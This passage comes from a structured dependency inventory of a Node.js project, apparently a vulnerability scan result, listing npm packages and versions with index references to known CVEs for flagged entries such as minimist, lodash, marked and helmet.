'root': False}, {'name': 'minimist', 'version': '0.0.10', 'root': False, 'cves_index': [11, 12]}, {'name': 'wordwrap', 'version': '0.0.3', 'root': False}, {'name': 'deep-equal', 'version': '2.0.5', 'root': False}, {'name': 'i', 'version': '0.3.7', 'root': False}, {'name': 'mkdirp', 'version': '0.5.5', 'root': False}, {'name': 'ncp', 'version': '0.4.2', 'root': False}, {'name': 'rimraf', 'version': '2.7.1', 'root': False}, {'name': 'cycle', 'version': '1.0.3', 'root': False}, {'name': 'pkginfo', 'version': '0.3.1', 'root': False}, {'name': 'stack-trace', 'version': '0.0.10', 'root': False}, {'name': 'bson', 'version': '1.0.9', 'root': False, 'cves_index': [6, 7]}, {'name': 'buffer-crc32', 'version': '0.2.13', 'root': False}, {'name': 'buffer-from', 'version': '1.1.2', 'root': False}, {'name': 'buffer-shims', 'version': '1.0.0', 'root': False}, {'name': 'collection-visit', 'version': '1.0.0', 'root': False}, {'name': 'get-value', 'version': '2.0.6', 'root': False}, {'name': 'has-value', 'version': '1.0.0', 'root': False}, {'name': 'set-value', 'version': '2.0.1', 'root': False}, {'name': 'to-object-path', 'version': '0.3.0', 'root': False}, {'name': 'union-value', 'version': '1.0.1', 'root': False}, {'name': 'unset-value', 'version': '1.0.0', 'root': False, 'cves_index': [9]}, {'name': 'cachedir', 'version': '1.3.0', 'root': False}, {'name': 'call-bind', 'version': '1.0.2', 'root': False}, {'name': 'function-bind', 'version': '1.1.1', 'root': False}, {'name': 'get-intrinsic', 'version': '1.1.1', 'root': False}, {'name': 'caller', 'version': '0.0.1', 'root': False}, {'name': 'tape', 'version': '2.3.3', 'root': False}, {'name': 'camelcase', 'version': '2.1.1', 'root': False}, {'name': 'camelcase-keys', 'version': '2.1.0', 'root': False}, {'name': 'camelize', 'version': '1.0.0', 'root': False}, {'name': 'capture-stack-trace', 'version': '1.0.1', 'root': False}, {'name': 'caseless', 'version': '0.12.0', 'root': False}, {'name': 'chalk', 'version': '2.4.2', 'root': False}, {'name': 'ansi-styles', 'version': '3.2.1', 'root': False}, {'name': 'check-more-types', 'version': '2.24.0', 'root': False}, {'name': 'chokidar', 'version': '2.1.8', 'root': False}, {'name': 'fsevents', 'version': '1.2.13', 'root': False}, {'name': 'glob-parent', 'version': '3.1.0', 'root': False, 'cves_index': [10]}, {'name': 'inherits', 'version': '2.0.4', 'root': False}, {'name': 'is-binary-path', 'version': '1.0.1', 'root': False}, {'name': 'is-glob', 'version': '4.0.3', 'root': False}, {'name': 'normalize-path', 'version': '3.0.0', 'root': False}, {'name': 'path-is-absolute', 'version': '1.0.1', 'root': False}, {'name': 'readdirp', 'version': '2.2.1', 'root': False}, {'name': 'upath', 'version': '1.2.0', 'root': False}, {'name': 'ci-info', 'version': '1.6.0', 'root': False}, {'name': 'define-property', 'version': '0.2.5', 'root': False}, {'name': 'static-extend', 'version': '0.1.2', 'root': False}, {'name': 'is-descriptor', 'version': '0.1.6', 'root': False}, {'name': 'clean-yaml-object', 'version': '0.1.0', 'root': False}, {'name': 'cli', 'version': '1.0.1', 'root': False}, {'name': 'cli-boxes', 'version': '1.0.0', 'root': False}, {'name': 'cli-cursor', 'version': '1.0.2', 'root': False}, {'name': 'cli-spinners', 'version': '0.1.2', 'root': False}, {'name': 'cli-truncate', 'version': '0.2.1', 'root': False}, {'name': 'cliff', 'version': '0.1.10', 'root': False}, {'name': 'colors', 'version': '1.0.3', 'root': False}, {'name': 'winston', 'version': '0.8.3', 'root': False}, {'name': 'cliui', 'version': '3.2.0', 'root': False}, {'name': 'string-width', 'version': '1.0.2', 'root': False}, {'name': 'strip-ansi', 'version': '3.0.1', 'root': False}, {'name': 'wrap-ansi', 'version': '2.1.0', 'root': False}, {'name': 'clone', 'version': '2.1.2', 'root': False}, {'name': 'code-point-at', 'version': '1.1.0', 'root': False}, {'name': 'map-visit', 'version': '1.0.0', 'root': False}, {'name': 'object-visit', 'version': '1.0.1', 'root': False}, {'name': 'color-convert', 'version': '1.9.3', 'root': False}, {'name': 'color-name', 'version': '1.1.3', 'root': False}, {'name': 'color-support', 'version': '1.1.3', 'root': False}, {'name': 'combined-stream', 'version': '1.0.8', 'root': False}, {'name': 'commander', 'version': '2.15.1', 'root': False}, {'name': 'common-tags', 'version': '1.8.0', 'root': False}, {'name': 'concat-stream', 'version': '1.6.2', 'root': False}, {'name': 'config-chain', 'version': '1.1.13', 'root': False}, {'name': 'configstore', 'version': '3.1.5', 'root': False}, {'name': 'connect', 'version': '3.4.1', 'root': False}, {'name': 'debug', 'version': '2.2.0', 'root': False, 'cves_index': [8]}, {'name': 'finalhandler', 'version': '0.4.1', 'root': False}, {'name': 'parseurl', 'version': '1.3.3', 'root': False}, {'name': 'utils-merge', 'version': '1.0.0', 'root': False}, {'name': 'ms', 'version': '0.7.1', 'root': False}, {'name': 'escape-html', 'version': '1.0.3', 'root': False}, {'name': 'unpipe', 'version': '1.0.0', 'root': False}, {'name': 'console-browserify', 'version': '1.1.0', 'root': False}, {'name': 'consolidate', 'version': '0.14.5', 'root': True}, {'name': 'content-disposition', 'version': '0.5.4', 'root': False}, {'name': 'safe-buffer', 'version': '5.2.1', 'root': False}, {'name': 'content-security-policy-builder', 'version': '1.0.0', 'root': False}, {'name': 'dashify', 'version': '0.2.2', 'root': False}, {'name': 'continuable-cache', 'version': '0.3.1', 'root': False}, {'name': 'cookie', 'version': '0.4.0', 'root': False}, {'name': 'cookie-signature', 'version': '1.0.6', 'root': False}, {'name': 'copy-descriptor', 'version': '0.1.1', 'root': False}, {'name': 'core-util-is', 'version': '1.0.3', 'root': False}, {'name': 'coveralls', 'version': '2.13.3', 'root': False}, {'name': 'assert-plus', 'version': '0.2.0', 'root': False}, {'name': 'aws-sign2', 'version': '0.6.0', 'root': False}, {'name': 'caseless', 'version': '0.11.0', 'root': False}, {'name': 'esprima', 'version': '2.7.3', 'root': False}, {'name': 'form-data', 'version': '2.1.4', 'root': False}, {'name': 'har-validator', 'version': '2.0.6', 'root': False}, {'name': 'http-signature', 'version': '1.1.1', 'root': False}, {'name': 'js-yaml', 'version': '3.6.1', 'root': False, 'cves_index': [16, 15]}, {'name': 'minimist', 'version': '1.2.0', 'root': False, 'cves_index': [22, 23]}, {'name': 'oauth-sign', 'version': '0.8.2', 'root': False}, {'name': 'punycode', 'version': '1.4.1', 'root': False}, {'name': 'qs', 'version': '6.3.3', 'root': False}, {'name': 'request', 'version': '2.79.0', 'root': False}, {'name': 'tough-cookie', 'version': '2.3.4', 'root': False}, {'name': 'tunnel-agent', 'version': '0.4.3', 'root': False, 'cves_index': [18]}, {'name': 'create-error-class', 'version': '3.0.2', 'root': False}, {'name': 'cross-env', 'version': '7.0.3', 'root': True}, {'name': 'cross-spawn', 'version': '7.0.3', 'root': False}, {'name': 'cryptiles', 'version': '2.0.5', 'root': False, 'cves_index': [14]}, {'name': 'crypto-random-string', 'version': '1.0.0', 'root': False}, {'name': 'csrf', 'version': '3.1.0', 'root': False}, {'name': 'rndm', 'version': '1.2.0', 'root': False}, {'name': 'tsscmp', 'version': '1.0.6', 'root': False}, {'name': 'uid-safe', 'version': '2.1.5', 'root': False}, {'name': 'csurf', 'version': '1.11.0', 'root': True}, {'name': 'http-errors', 'version': '1.7.3', 'root': False}, {'name': 'setprototypeof', 'version': '1.1.1', 'root': False}, {'name': 'toidentifier', 'version': '1.0.0', 'root': False}, {'name': 'statuses', 'version': '1.5.0', 'root': False}, {'name': 'ctype', 'version': '0.5.3', 'root': False}, {'name': 'currently-unhandled', 'version': '0.4.1', 'root': False}, {'name': 'cypress', 'version': '3.8.3', 'root': True, 'cves_index': [17]}, {'name': 'bluebird', 'version': '3.5.0', 'root': False}, {'name': 'debug', 'version': '3.2.6', 'root': False}, {'name': 'eventemitter2', 'version': '4.1.2', 'root': False}, {'name': 'lodash', 'version': '4.17.15', 'root': False, 'cves_index': [19, 20, 21]}, {'name': 'dashdash', 'version': '1.14.1', 'root': False}, {'name': 'date-fns', 'version': '1.30.1', 'root': False}, {'name': 'date-now', 'version': '0.1.4', 'root': False}, {'name': 'dateformat', 'version': '3.0.3', 'root': False}, {'name': 'ms', 'version': '2.0.0', 'root': False}, {'name': 'debuglog', 'version': '1.0.1', 'root': False}, {'name': 'decamelize', 'version': '1.2.0', 'root': False}, {'name': 'decode-uri-component', 'version': '0.2.0', 'root': False, 'cves_index': [13]}, {'name': 'es-get-iterator', 'version': '1.1.2', 'root': False}, {'name': 'is-arguments', 'version': '1.1.1', 'root': False}, {'name': 'is-date-object', 'version': '1.0.5', 'root': False}, {'name': 'is-regex', 'version': '1.1.4', 'root': False}, {'name': 'isarray', 'version': '2.0.5', 'root': False}, {'name': 'object-is', 'version': '1.1.5', 'root': False}, {'name': 'object-keys', 'version': '1.1.1', 'root': False}, {'name': 'object.assign', 'version': '4.1.2', 'root': False}, {'name': 'regexp.prototype.flags', 'version': '1.4.1', 'root': False}, {'name': 'side-channel', 'version': '1.0.4', 'root': False}, {'name': 'which-boxed-primitive', 'version': '1.0.2', 'root': False}, {'name': 'which-collection', 'version': '1.0.1', 'root': False}, {'name': 'which-typed-array', 'version': '1.1.7', 'root': False}, {'name': 'deep-extend', 'version': '0.6.0', 'root': False}, {'name': 'deeper', 'version': '2.1.0', 'root': False}, {'name': 'define-properties', 'version': '1.1.3', 'root': False}, {'name': 'define-property', 'version': '2.0.2', 'root': False}, {'name': 'defined', 'version': '0.0.0', 'root': False}, {'name': 'delayed-stream', 'version': '1.0.0', 'root': False}, {'name': 'destroy', 'version': '1.0.4', 'root': False}, {'name': 'detect-file', 'version': '1.0.0', 'root': False}, {'name': 'dezalgo', 'version': '1.0.3', 'root': False}, {'name': 'diff', 'version': '1.4.0', 'root': False, 'cves_index': [24]}, {'name': 'director', 'version': '1.2.7', 'root': False}, {'name': 'dns-prefetch-control', 'version': '0.1.0', 'root': False}, {'name': 'dom-serializer', 'version': '0.2.2', 'root': False}, {'name': 'domelementtype', 'version': '2.2.0', 'root': False}, {'name': 'entities', 'version': '2.2.0', 'root': False}, {'name': 'domelementtype', 'version': '1.3.1', 'root': False}, {'name': 'domhandler', 'version': '2.3.0', 'root': False}, {'name': 'domutils', 'version': '1.5.1', 'root': False}, {'name': 'dont-sniff-mimetype', 'version': '1.1.0', 'root': True}, {'name': 'dot-prop', 'version': '4.2.1', 'root': False}, {'name': 'duplexer3', 'version': '0.1.4', 'root': False}, {'name': 'duplexify', 'version': '3.7.1', 'root': False}, {'name': 'ecc-jsbn', 'version': '0.1.2', 'root': False}, {'name': 'editorconfig', 'version': '0.15.3', 'root': False}, {'name': 'commander', 'version': '2.20.3', 'root': False}, {'name': 'ee-first', 'version': '1.1.1', 'root': False}, {'name': 'elegant-spinner', 'version': '1.0.1', 'root': False}, {'name': 'encodeurl', 'version': '1.0.2', 'root': False}, {'name': 'end-of-stream', 'version': '1.4.4', 'root': False}, {'name': 'entities', 'version': '1.0.0', 'root': False}, {'name': 'error', 'version': '7.2.1', 'root': False}, {'name': 'error-ex', 'version': '1.3.2', 'root': False}, {'name': 'es-abstract', 'version': '1.19.1', 'root': False}, {'name': 'es-to-primitive', 'version': '1.2.1', 'root': False}, {'name': 'get-symbol-description', 'version': '1.0.0', 'root': False}, {'name': 'has', 'version': '1.0.3', 'root': False}, {'name': 'has-symbols', 'version': '1.0.2', 'root': False}, {'name': 'internal-slot', 'version': '1.0.3', 'root': False}, {'name': 'is-callable', 'version': '1.2.4', 'root': False}, {'name': 'is-negative-zero', 'version': '2.0.2', 'root': False}, {'name': 'is-shared-array-buffer', 'version': '1.0.1', 'root': False}, {'name': 'is-string', 'version': '1.0.7', 'root': False}, {'name': 'is-weakref', 'version': '1.0.2', 'root': False}, {'name': 'object-inspect', 'version': '1.12.0', 'root': False}, {'name': 'string.prototype.trimend', 'version': '1.0.4', 'root': False}, {'name': 'string.prototype.trimstart', 'version': '1.0.4', 'root': False}, {'name': 'unbox-primitive', 'version': '1.0.1', 'root': False}, {'name': 'is-map', 'version': '2.0.2', 'root': False}, {'name': 'is-set', 'version': '2.0.2', 'root': False}, {'name': 'is-symbol', 'version': '1.0.4', 'root': False}, {'name': 'es6-promise', 'version': '3.2.1', 'root': False}, {'name': 'escape-string-regexp', 'version': '1.0.5', 'root': False}, {'name': 'esprima', 'version': '4.0.1', 'root': False}, {'name': 'etag', 'version': '1.8.1', 'root': False}, {'name': 'event-stream', 'version': '0.5.3', 'root': False}, {'name': 'optimist', 'version': '0.2.8', 'root': False}, {'name': 'events-to-array', 'version': '1.1.2', 'root': False}, {'name': 'execa', 'version': '0.10.0', 'root': False}, {'name': 'cross-spawn', 'version': '6.0.5', 'root': False}, {'name': 'path-key', 'version': '2.0.1', 'root': False}, {'name': 'shebang-command', 'version': '1.2.0', 'root': False}, {'name': 'shebang-regex', 'version': '1.0.0', 'root': False}, {'name': 'which', 'version': '1.3.1', 'root': False}, {'name': 'executable', 'version': '4.1.1', 'root': False}, {'name': 'exit', 'version': '0.1.2', 'root': False}, {'name': 'exit-hook', 'version': '1.1.1', 'root': False}, {'name': 'expand-brackets', 'version': '2.1.4', 'root': False}, {'name': 'posix-character-classes', 'version': '0.1.1', 'root': False}, {'name': 'regex-not', 'version': '1.0.2', 'root': False}, {'name': 'expand-tilde', 'version': '2.0.2', 'root': False}, {'name': 'express', 'version': '4.17.3', 'root': True}, {'name': 'cookie', 'version': '0.4.2', 'root': False}, {'name': 'finalhandler', 'version': '1.1.2', 'root': False}, {'name': 'fresh', 'version': '0.5.2', 'root': False}, {'name': 'merge-descriptors', 'version': '1.0.1', 'root': False}, {'name': 'methods', 'version': '1.1.2', 'root': False}, {'name': 'path-to-regexp', 'version': '0.1.7', 'root': False}, {'name': 'proxy-addr', 'version': '2.0.7', 'root': False}, {'name': 'range-parser', 'version': '1.2.1', 'root': False}, {'name': 'send', 'version': '0.17.2', 'root': False}, {'name': 'serve-static', 'version': '1.14.2', 'root': False}, {'name': 'setprototypeof', 'version': '1.2.0', 'root': False}, {'name': 'utils-merge', 'version': '1.0.1', 'root': False}, {'name': 'vary', 'version': '1.1.2', 'root': False}, {'name': 'express-session', 'version': '1.17.2', 'root': True}, {'name': 'cookie', 'version': '0.4.1', 'root': False}, {'name': 'depd', 'version': '2.0.0', 'root': False}, {'name': 'on-headers', 'version': '1.0.2', 'root': False}, {'name': 'extend', 'version': '3.0.2', 'root': False}, {'name': 'extend-shallow', 'version': '3.0.2', 'root': False}, {'name': 'is-extendable', 'version': '1.0.1', 'root': False}, {'name': 'is-plain-object', 'version': '2.0.4', 'root': False}, {'name': 'extglob', 'version': '2.0.4', 'root': False}, {'name': 'fragment-cache', 'version': '0.2.1', 'root': False}, {'name': 'extract-zip', 'version': '1.6.7', 'root': False}, {'name': 'minimist', 'version': '0.0.8', 'root': False, 'cves_index': [26, 27]}, {'name': 'mkdirp', 'version': '0.5.1', 'root': False}, {'name': 'yauzl', 'version': '2.4.1', 'root': False}, {'name': 'extsprintf', 'version': '1.3.0', 'root': False}, {'name': 'fast-deep-equal', 'version': '3.1.3', 'root': False}, {'name': 'fast-json-stable-stringify', 'version': '2.1.0', 'root': False}, {'name': 'faye-websocket', 'version': '0.10.0', 'root': False}, {'name': 'fd-slicer', 'version': '1.0.1', 'root': False}, {'name': 'figures', 'version': '1.7.0', 'root': False}, {'name': 'is-number', 'version': '3.0.0', 'root': False}, {'name': 'repeat-string', 'version': '1.6.1', 'root': False}, {'name': 'to-regex-range', 'version': '2.1.1', 'root': False}, {'name': 'find-up', 'version': '1.1.2', 'root': False}, {'name': 'findup-sync', 'version': '0.3.0', 'root': False}, {'name': 'glob', 'version': '5.0.15', 'root': False}, {'name': 'fined', 'version': '1.2.0', 'root': False}, {'name': 'flagged-respawn', 'version': '1.0.1', 'root': False}, {'name': 'flatiron', 'version': '0.4.3', 'root': False}, {'name': 'prompt', 'version': '0.2.14', 'root': False}, {'name': 'for-in', 'version': '1.0.2', 'root': False}, {'name': 'for-own', 'version': '1.0.0', 'root': False}, {'name': 'foreach', 'version': '2.0.5', 'root': False}, {'name': 'foreground-child', 'version': '1.5.6', 'root': False}, {'name': 'cross-spawn', 'version': '4.0.2', 'root': False}, {'name': 'forever', 'version': '2.0.0', 'root': True, 'vulnerable_dependencies': [387, 133, 104, 591, 113, 150, 251]}, {'name': 'async', 'version': '1.5.2', 'root': False}, {'name': 'forever-monitor', 'version': '2.0.0', 'root': False}, {'name': 'nconf', 'version': '0.10.0', 'root': False, 'cves_index': [25]}, {'name': 'nssocket', 'version': '0.6.0', 'root': False}, {'name': 'object-assign', 'version': '4.1.1', 'root': False}, {'name': 'optimist', 'version': '0.6.1', 'root': False}, {'name': 'path-is-absolute', 'version': '2.0.0', 'root': False}, {'name': 'prettyjson', 'version': '1.2.5', 'root': False}, {'name': 'shush', 'version': '1.0.0', 'root': False}, {'name': 'utile', 'version': '0.3.0', 'root': False}, {'name': 'forever-agent', 'version': '0.6.1', 'root': False}, {'name': 'minimatch', 'version': '3.1.2', 'root': False}, {'name': 'ps-tree', 'version': '0.0.3', 'root': False}, {'name': 'form-data', 'version': '2.3.3', 'root': False}, {'name': 'forwarded', 'version': '0.2.0', 'root': False}, {'name': 'map-cache', 'version': '0.2.2', 'root': False}, {'name': 'frameguard', 'version': '2.0.0', 'root': False}, {'name': 'fs-extra', 'version': '5.0.0', 'root': False}, {'name': 'fs.realpath', 'version': '1.0.0', 'root': False}, {'name': 'nan', 'version': '2.15.0', 'root': False}, {'name': 'gaze', 'version': '1.1.3', 'root': False}, {'name': 'generate-function', 'version': '2.3.1', 'root': False}, {'name': 'generate-object-property', 'version': '1.2.0', 'root': False}, {'name': 'get-stdin', 'version': '4.0.1', 'root': False}, {'name': 'get-stream', 'version': '3.0.0', 'root': False}, {'name': 'getobject', 'version': '1.0.2', 'root': False}, {'name': 'getos', 'version': '3.1.1', 'root': False}, {'name': 'async', 'version': '2.6.1', 'root': False, 'cves_index': [37]}, {'name': 'getpass', 'version': '0.1.7', 'root': False}, {'name': 'glob', 'version': '7.2.0', 'root': False}, {'name': 'inflight', 'version': '1.0.6', 'root': False}, {'name': 'once', 'version': '1.4.0', 'root': False}, {'name': 'is-glob', 'version': '3.1.0', 'root': False}, {'name': 'path-dirname', 'version': '1.0.2', 'root': False}, {'name': 'is-extglob', 'version': '2.1.1', 'root': False}, {'name': 'global-dirs', 'version': '0.1.1', 'root': False}, {'name': 'global-modules', 'version': '1.0.0', 'root': False}, {'name': 'global-prefix', 'version': '1.0.2', 'root': False}, {'name': 'globule', 'version': '1.3.3', 'root': False}, {'name': 'glob', 'version': '7.1.7', 'root': False}, {'name': 'minimatch', 'version': '3.0.8', 'root': False}, {'name': 'got', 'version': '6.7.1', 'root': False, 'cves_index': [39]}, {'name': 'graceful-fs', 'version': '4.2.9', 'root': False}, {'name': 'growl', 'version': '1.9.2', 'root': False, 'cves_index': [42]}, {'name': 'grunt', 'version': '1.4.1', 'root': True, 'cves_index': [32, 33]}, {'name': 'mkdirp', 'version': '1.0.4', 'root': False}, {'name': 'rimraf', 'version': '3.0.2', 'root': False}, {'name': 'grunt-cli', 'version': '1.4.3', 'root': True}, {'name': 'nopt', 'version': '4.0.3', 'root': False}, {'name': 'grunt-concurrent', 'version': '2.3.1', 'root': True}, {'name': 'grunt-contrib-clean', 'version': '1.1.0', 'root': False}, {'name': 'grunt-contrib-jshint', 'version': '1.1.0', 'root': True}, {'name': 'grunt-contrib-nodeunit', 'version': '1.0.0', 'root': False}, {'name': 'grunt-contrib-watch', 'version': '1.1.0', 'root': True}, {'name': 'grunt-env', 'version': '1.0.1', 'root': True}, {'name': 'grunt-if', 'version': 'https://github.com/binarymist/grunt-if/tarball/master', 'root': True}, {'name': 'grunt-jsbeautifier', 'version': '0.2.13', 'root': True}, {'name': 'grunt-known-options', 'version': '2.0.0', 'root': False}, {'name': 'grunt-legacy-log', 'version': '3.0.0', 'root': False}, {'name': 'colors', 'version': '1.1.2', 'root': False}, {'name': 'grunt-legacy-log-utils', 'version': '2.1.0', 'root': False}, {'name': 'ansi-styles', 'version': '4.3.0', 'root': False}, {'name': 'chalk', 'version': '4.1.2', 'root': False}, {'name': 'color-convert', 'version': '2.0.1', 'root': False}, {'name': 'color-name', 'version': '1.1.4', 'root': False}, {'name': 'has-flag', 'version': '4.0.0', 'root': False}, {'name': 'supports-color', 'version': '7.2.0', 'root': False}, {'name': 'grunt-legacy-util', 'version': '2.0.1', 'root': False}, {'name': 'async', 'version': '3.2.3', 'root': False}, {'name': 'grunt-mocha-test', 'version': '0.12.7', 'root': True}, {'name': 'grunt-npm-install', 'version': '0.3.1', 'root': True}, {'name': 'grunt-retire', 'version': '0.3.12', 'root': True}, {'name': 'form-data', 'version': '1.0.1', 'root': False}, {'name': 'node-uuid', 'version': '1.4.8', 'root': False}, {'name': 'qs', 'version': '5.2.1', 'root': False, 'cves_index': [29, 30, 31]}, {'name': 'request', 'version': '2.67.0', 'root': False, 'cves_index': [28]}, {'name': 'tough-cookie', 'version': '2.2.2', 'root': False, 'cves_index': [40, 41]}, {'name': 'har-schema', 'version': '2.0.0', 'root': False}, {'name': 'har-validator', 'version': '5.1.5', 'root': False}, {'name': 'has-ansi', 'version': '2.0.0', 'root': False}, {'name': 'has-bigints', 'version': '1.0.1', 'root': False}, {'name': 'has-flag', 'version': '3.0.0', 'root': False}, {'name': 'has-tostringtag', 'version': '1.0.0', 'root': False}, {'name': 'has-values', 'version': '1.0.0', 'root': False}, {'name': 'kind-of', 'version': '4.0.0', 'root': False}, {'name': 'is-buffer', 'version': '1.1.6', 'root': False}, {'name': 'hawk', 'version': '3.1.3', 'root': False, 'cves_index': [38]}, {'name': 'helmet', 'version': '2.3.0', 'root': True, 'vulnerable_dependencies': [474, 189], 'cves_index': [145, 142]}, {'name': 'dont-sniff-mimetype', 'version': '1.0.0', 'root': False}, {'name': 'helmet-csp', 'version': '1.2.2', 'root': False, 'cves_index': [36]}, {'name': 'hide-powered-by', 'version': '1.0.0', 'root': False}, {'name': 'hpkp', 'version': '1.2.0', 'root': False}, {'name': 'hsts', 'version': '1.0.0', 'root': False}, {'name': 'ienoopen', 'version': '1.0.0', 'root': False}, {'name': 'nocache', 'version': '1.0.1', 'root': False}, {'name': 'referrer-policy', 'version': '1.0.0', 'root': False}, {'name': 'x-xss-protection', 'version': '1.0.0', 'root': False}, {'name': 'lodash.reduce', 'version': '4.5.0', 'root': False}, {'name': 'platform', 'version': '1.3.1', 'root': False}, {'name': 'hoek', 'version': '2.16.3', 'root': False, 'cves_index': [34, 35]}, {'name': 'homedir-polyfill', 'version': '1.0.3', 'root': False}, {'name': 'hooker', 'version': '0.2.3', 'root': False}, {'name': 'hosted-git-info', 'version': '2.8.9', 'root': False}, {'name': 'core-util-is', 'version': '1.0.2', 'root': False}, {'name': 'htmlparser2', 'version': '3.8.3', 'root': False}, {'name': 'isarray', 'version': '0.0.1', 'root': False}, {'name': 'readable-stream', 'version': '1.1.14', 'root': False}, {'name': 'toidentifier', 'version': '1.0.1', 'root': False}, {'name': 'http-parser-js', 'version': '0.5.5', 'root': False}, {'name': 'http-signature', 'version': '1.2.0', 'root': False}, {'name': 'safer-buffer', 'version': '2.1.2', 'root': False}, {'name': 'ignore-by-default', 'version': '1.0.1', 'root': False}, {'name': 'import-lazy', 'version': '2.1.0', 'root': False}, {'name': 'imurmurhash', 'version': '0.1.4', 'root': False}, {'name': 'indent-string', 'version': '2.1.0', 'root': False}, {'name': 'wrappy', 'version': '1.0.2', 'root': False}, {'name': 'interpret', 'version': '1.1.0', 'root': False}, {'name': 'invert-kv', 'version': '1.0.0', 'root': False}, {'name': 'ipaddr.js', 'version': '1.9.1', 'root': False}, {'name': 'is-absolute', 'version': '1.0.0', 'root': False}, {'name': 'is-accessor-descriptor', 'version': '0.1.6', 'root': False}, {'name': 'kind-of', 'version': '3.2.2', 'root': False}, {'name': 'is-arrayish', 'version': '0.2.1', 'root': False}, {'name': 'is-bigint', 'version': '1.0.4', 'root': False}, {'name': 'is-boolean-object', 'version': '1.1.2', 'root': False}, {'name': 'is-ci', 'version': '1.2.1', 'root': False}, {'name': 'is-core-module', 'version': '2.8.1', 'root': False}, {'name': 'is-data-descriptor', 'version': '0.1.4', 'root': False}, {'name': 'kind-of', 'version': '5.1.0', 'root': False}, {'name': 'is-finite', 'version': '1.1.0', 'root': False}, {'name': 'is-fullwidth-code-point', 'version': '1.0.0', 'root': False}, {'name': 'number-is-nan', 'version': '1.0.1', 'root': False}, {'name': 'is-installed-globally', 'version': '0.1.0', 'root': False}, {'name': 'is-my-ip-valid', 'version': '1.0.0', 'root': False}, {'name': 'is-my-json-valid', 'version': '2.20.6', 'root': False}, {'name': 'is-npm', 'version': '1.0.0', 'root': False}, {'name': 'is-number-object', 'version': '1.0.6', 'root': False}, {'name': 'is-obj', 'version': '1.0.1', 'root': False}, {'name': 'is-path-inside', 'version': '1.0.1', 'root': False}, {'name': 'is-promise', 'version': '2.2.2', 'root': False}, {'name': 'is-property', 'version': '1.0.2', 'root': False}, {'name': 'is-redirect', 'version': '1.0.0', 'root': False}, {'name': 'is-relative', 'version': '1.0.0', 'root': False}, {'name': 'is-retry-allowed', 'version': '1.2.0', 'root': False}, {'name': 'is-stream', 'version': '1.1.0', 'root': False}, {'name': 'is-typed-array', 'version': '1.1.8', 'root': False}, {'name': 'is-typedarray', 'version': '1.0.0', 'root': False}, {'name': 'is-unc-path', 'version': '1.0.0', 'root': False}, {'name': 'is-utf8', 'version': '0.2.1', 'root': False}, {'name': 'is-weakmap', 'version': '2.0.1', 'root': False}, {'name': 'is-weakset', 'version': '2.0.2', 'root': False}, {'name': 'is-windows', 'version': '1.0.2', 'root': False}, {'name': 'isexe', 'version': '2.0.0', 'root': False}, {'name': 'isstream', 'version': '0.1.2', 'root': False}, {'name': 'jade', 'version': '0.26.3', 'root': False}, {'name': 'commander', 'version': '0.6.1', 'root': False}, {'name': 'mkdirp', 'version': '0.3.0', 'root': False}, {'name': 'js-beautify', 'version': '1.14.0', 'root': False}, {'name': 'nopt', 'version': '5.0.0', 'root': False}, {'name': 'js-yaml', 'version': '3.14.1', 'root': False}, {'name': 'jsbn', 'version': '0.1.1', 'root': False}, {'name': 'jshint', 'version': '2.9.7', 'root': False}, {'name': 'strip-json-comments', 'version': '1.0.4', 'root': False}, {'name': 'json-parse-even-better-errors', 'version': '2.3.1', 'root': False}, {'name': 'json-schema', 'version': '0.4.0', 'root': False}, {'name': 'json-schema-traverse', 'version': '0.4.1', 'root': False}, {'name': 'json-stringify-safe', 'version': '5.0.1', 'root': False}, {'name': 'jsonfile', 'version': '4.0.0', 'root': False}, {'name': 'jsonify', 'version': '0.0.0', 'root': False}, {'name': 'jsonpointer', 'version': '5.0.0', 'root': False}, {'name': 'jsprim', 'version': '1.4.2', 'root': False}, {'name': 'latest-version', 'version': '3.1.0', 'root': False}, {'name': 'lazy', 'version': '1.0.11', 'root': False}, {'name': 'lazy-ass', 'version': '1.6.0', 'root': False}, {'name': 'lcid', 'version': '1.0.0', 'root': False}, {'name': 'lcov-parse', 'version': '0.0.10', 'root': False}, {'name': 'liftup', 'version': '3.0.1', 'root': False}, {'name': 'braces', 'version': '3.0.2', 'root': False}, {'name': 'fill-range', 'version': '7.0.1', 'root': False}, {'name': 'findup-sync', 'version': '4.0.0', 'root': False}, {'name': 'is-number', 'version': '7.0.0', 'root': False}, {'name': 'micromatch', 'version': '4.0.4', 'root': False}, {'name': 'to-regex-range', 'version': '5.0.1', 'root': False}, {'name': 'listr', 'version': '0.12.0', 'root': False}, {'name': 'log-symbols', 'version': '1.0.2', 'root': False}, {'name': 'listr-silent-renderer', 'version': '1.1.1', 'root': False}, {'name': 'listr-update-renderer', 'version': '0.2.0', 'root': False}, {'name': 'indent-string', 'version': '3.2.0', 'root': False}, {'name': 'listr-verbose-renderer', 'version': '0.4.1', 'root': False}, {'name': 'livereload-js', 'version': '2.4.0', 'root': False}, {'name': 'load-json-file', 'version': '1.1.0', 'root': False}, {'name': 'lodash', 'version': '4.17.21', 'root': False}, {'name': 'lodash.once', 'version': '4.1.1', 'root': False}, {'name': 'log-driver', 'version': '1.2.5', 'root': False}, {'name': 'log-symbols', 'version': '2.2.0', 'root': False}, {'name': 'log-update', 'version': '1.0.2', 'root': False}, {'name': 'loud-rejection', 'version': '1.6.0', 'root': False}, {'name': 'lowercase-keys', 'version': '1.0.1', 'root': False}, {'name': 'lru-cache', 'version': '4.1.5', 'root': False}, {'name': 'make-dir', 'version': '1.3.0', 'root': False}, {'name': 'pify', 'version': '3.0.0', 'root': False}, {'name': 'make-iterator', 'version': '1.0.1', 'root': False}, {'name': 'map-obj', 'version': '1.0.1', 'root': False}, {'name': 'marked', 'version': '0.3.9', 'root': True, 'cves_index': [43, 44, 45]}, {'name': 'media-typer', 'version': '0.3.0', 'root': False}, {'name': 'meow', 'version': '3.7.0', 'root': False}, {'name': 'minimist', 'version': '1.2.5', 'root': False, 'cves_index': [46]}, {'name': 'nanomatch', 'version': '1.2.13', 'root': False}, {'name': 'object.pick', 'version': '1.3.0', 'root': False}, {'name': 'mime', 'version': '1.6.0', 'root': False}, {'name': 'mime-db', 'version': '1.51.0', 'root': False}, {'name': 'mocha', 'version': '2.5.3', 'root': True, 'cves_index': [48, 47]}, {'name': 'commander', 'version': '2.3.0', 'root': False}, {'name': 'escape-string-regexp', 'version': '1.0.2', 'root': False}, {'name': 'glob', 'version': '3.2.11', 'root': False}, {'name': 'lru-cache', 'version': '2.7.3', 'root': False}, {'name': 'minimatch', 'version': '0.3.0', 'root': False, 'cves_index': [57, 58, 59]}, {'name': 'supports-color', 'version': '1.2.0', 'root': False}, {'name': 'moment', 'version': '2.24.0', 'root': False, 'cves_index': 